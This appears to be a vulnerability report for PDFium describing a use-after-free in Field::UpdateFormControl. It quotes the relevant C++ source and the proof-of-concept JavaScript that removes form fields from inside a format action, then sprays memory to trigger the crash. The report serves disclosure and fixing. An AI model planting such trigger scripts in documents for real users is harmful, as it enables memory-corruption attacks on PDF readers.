VULNERABILITY DETAILS
Use-after-free in Field::UpdateFormControl

VERSION
Operating System: Windows 10
PDFium with XFA enabled

Steps to reproduce the problem:
1. Build PDFIUm with XFA
2. run ./pdfium_test ./poc.pdf

Details

In function `Field::UpdateFormControl`, there is a call to `pWidget->OnFormat`

void Field::UpdateFormControl(CPDFSDK_FormFillEnvironment* pFormFillEnv,
                              CPDF_FormControl* pFormControl,
                              bool bChangeMark,
                              bool bResetAP,
                              bool bRefresh) {
...
  if (pWidget) {
    if (bResetAP) {
      int nFieldType = pWidget->GetFieldType();
      if (nFieldType == FIELDTYPE_COMBOBOX ||
          nFieldType == FIELDTYPE_TEXTFIELD) {
        bool bFormatted = false;
        CFX_WideString sValue = pWidget->OnFormat(bFormatted);			<--- call to JS script 
        pWidget->ResetAppearance(bFormatted ? &sValue : nullptr, false);
      } else {
        pWidget->ResetAppearance(nullptr, false);
      }
    }
...

This function `pWidget->OnFormat` call to JS script that set for handler format action of a field. If in this JS script, i remove that field with JS function `removeField`, it will free object `pWidget`. After that, object `pWidget` is used again (after be freed) in `pWidget->ResetAppearance(bFormatted ? &sValue : nullptr, false);` ==> so it's a use-after-free bug!

To trigger `Field::UpdateFormControl`, I use function `Field::lineWidth` (by using JS Field property `lineWidth`). In property setting `lineWidth` function `Field::SetLineWidth`

void Field::SetLineWidth(CPDFSDK_FormFillEnvironment* pFormFillEnv,
                         const WideString& swFieldName,
                         int nControlIndex,
                         int number) {
  CPDFSDK_InterForm* pInterForm = pFormFillEnv->GetInterForm();
  std::vector<CPDF_FormField*> FieldArray =
      GetFormFields(pFormFillEnv, swFieldName);
  for (CPDF_FormField* pFormField : FieldArray) {
    if (nControlIndex < 0) {
	...
    } else {
      if (nControlIndex >= pFormField->CountControls())
        return;
      if (CPDF_FormControl* pFormControl =
              pFormField->GetControl(nControlIndex)) {
        if (CPDFSDK_Widget* pWidget = pInterForm->GetWidget(pFormControl)) {
          if (number != pWidget->GetBorderWidth()) {
            pWidget->SetBorderWidth(number);
            UpdateFormControl(pFormFillEnv, pFormControl, true, true, true);
          }
        }
      }
    }
  }
}	

To get a call to `UpdateFormControl`, we need `nControlIndex` >= 0. From the function `Field::lineWidth`, we know `nControlIndex` is `m_nFormControlIndex` 


bool Field::lineWidth(CJS_Runtime* pRuntime,
                      CJS_PropValue& vp,
                      WideString& sError) {
...
    if (m_bDelay) {
      AddDelay_Int(FP_LINEWIDTH, iWidth);
    } else {
      Field::SetLineWidth(m_pFormFillEnv.Get(), m_FieldName,
                          m_nFormControlIndex, iWidth);
...					  


==> so we need to choose a field that has `m_nFormControlIndex` >= 0

In my poc, i have a text field with name `Calc1_Rslt`. This field has 2 child fields that have the same name `Calc1_Rslt_Sub1`. With this setup, when i get the parent field with command `ff = this.getField('Calc1_Rslt.Calc1_Rslt_Sub1..1')`, the `ff` object is the Field object with `m_nFormControlIndex` > 0

In the end, i setup 2 format actions for 2 fields: parent field `Calc1_Rslt` and child field `Calc1_Rslt_Sub1` with this JS code 

app.alert('[begin] format ... ')
this.aaa += 1;
if (this.aaa == 3)
{
    app.alert('[inside] format ... ')
    this.removeField("Calc1_Rslt.Calc1_Rslt_Sub1")
    this.removeField("Calc1_Rslt")
    //gc
    app.alert('=================== GC')
    tmp = [];
    for (var i = 0; i < 0x200000; i++)
    {
        tmp.push(new Uint8Array(10));
    }
    tmp = null;
}


Run the attachment pdf file with `pdfium_test`, we get a use-after-free crash.


 

Deleted: stacktrace.txt 7.3 KB

stacktrace.txt 7.3 KB View Download